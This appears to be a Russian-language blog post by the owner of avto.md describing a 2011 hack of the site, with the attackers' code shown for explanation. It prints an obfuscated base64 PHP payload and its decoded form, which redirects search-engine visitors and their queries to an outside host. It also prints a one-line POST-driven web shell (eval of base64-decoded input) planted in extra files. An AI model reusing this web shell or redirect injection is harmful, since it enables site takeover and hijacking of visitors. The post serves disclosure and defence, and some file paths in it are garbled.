23 августа 2011 сайт www.avto.md был подвергнут хакерской атаке
Злоумышленниками были изменены файлы нашего сайта, в результате чего при переходе с поисковых систем Google, Yahoo или Bing, происходила переадресация, и пользователи не могли увидеть желаемую информацию.
http://ling.osa.pl/atp/?said=3333g&q=
(просьба на линк не нажимать, так как сайт в вирусом)
На наш сервер злоумышленником была добавлена следующая строчка в файл services.php (выкладываю не весь код):
eval(base64_decode("CglpZiAoc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJnb29nb
GUiKSkgewoJaWYgKCFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0s
Ii5udSIpIGFuZCAhc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJ
zaXRlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sIm
ludXJsIikpewoJCXByZWdfbWF0Y2ggKCIvcVw9KC4qKS8iLCRfU0VSVkVSW
0hUVFBfUkVGRVJFUl0sJGtrKTsKCQlpZiAoc3RyaXN0cigka2tbMV0sIiYi
KSkgewoJCQlwcmVnX21hdGNoICgiLyguKj8pXCYvIiwka2tbMV0sJGtleTI
pOwoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtleTJbMV0pOwoJCX1lbHNlIH
sKCQkJJGtleXdvcmQ9dXJsZGVjb2RlKCRra1sxXSk7CgkJfQoJCWhlYWRlc
igiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRr
ZXl3b3JkKTsKCQlleGl0KCk7Cgl9Cgp9ZWxzZWlmIChzdHJpc3RyKCRfU0V
SVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9vIikpIHsKcHJlZ19tYXRjaCAoIi
9wXD0oLio/KSYvIiwkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCRrayk7CgkJa
GVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZnbmZkZnRocnYuYmVlLnBsLz9x
PSIuJGtrWzFdKTsKCQlleGl0KCk7Cn1lbHNlaWYgKHN0cmlzdHIoJF9TRVJ
WRVJbSFRUUF9SRUZFUkVSXSwiYmluZyIpKSB7CnByZWdfbWF0Y2ggKCIvcV
w9KC4qPykmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOwoJCWhlY
WRlcigiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0i
LiRra1sxXSk7CgkJZXhpdCgpOwp9Cgk="));
Это зашифрованный код, который можно декодировать, получив следующее:
if (stristr($_SERVER[HTTP_REFERER],"google")) {
if (!stristr($_SERVER[HTTP_REFERER],".nu") and !stristr($_SERVER[HTTP_REFERER],"site") and !stristr($_SERVER[HTTP_REFERER],"inurl")){
preg_match ("/q=(.*)/",$_SERVER[HTTP_REFERER],$kk);
if (stristr($kk[1],"&")) {
preg_match ("/(.*?)&/",$kk[1],$key2);
$keyword=urldecode($key2[1]);
}else {
$keyword=urldecode($kk[1]);
}
header("Location: http://fgnfdfthrv.bee.pl/?q=".$keyword);
exit();
}
Как видим, в результате перехода на наш сайт по запросам поисковых систем Google, Yahoo и Bing, происходило автоматическое перенаправление на сайт ling.osa.pl/atp/?said=3333g&q=, с передачей ему текста запроса поисковой системы.
Также злоумышленниками были созданы файлы:
includespost.php
emplatesindex.php
Содержание их:
eval (base64_decode($_POST["php"]));
?>
Были внесены изменения во все файлы "index.php":
emplatesja_purityindex.php
emplateseezindex.php
emplates
huk_milkywayindex.php
... (и во все установленные на момент взлома темы)
Встроен следующий код:
Таким образом, авторы этого взлома, видимо пытались "раскрутить" свой ресурс, ведь поисковик, при сканировании моего сайта, должен был находить данную ссылку.
ЧТО БЫЛО СДЕЛАНО?
Первым делом было решинео запертить закачку лишних файлов - ограничить
Deny from all
Укрепить страничку на которой поетители емют возможность добавлять файлы на сервер.
Для того, чтобы оставить свой комментарии вы должны
залогиниться.
Примечание, Что такое - "залогиниться" ? И почему мне все это предлагают сделать ? Залогиниться - сделать вход, ввести логин и пароль.
Чтобы где-то залогиниться
нужно сперва зарегистрироваться.
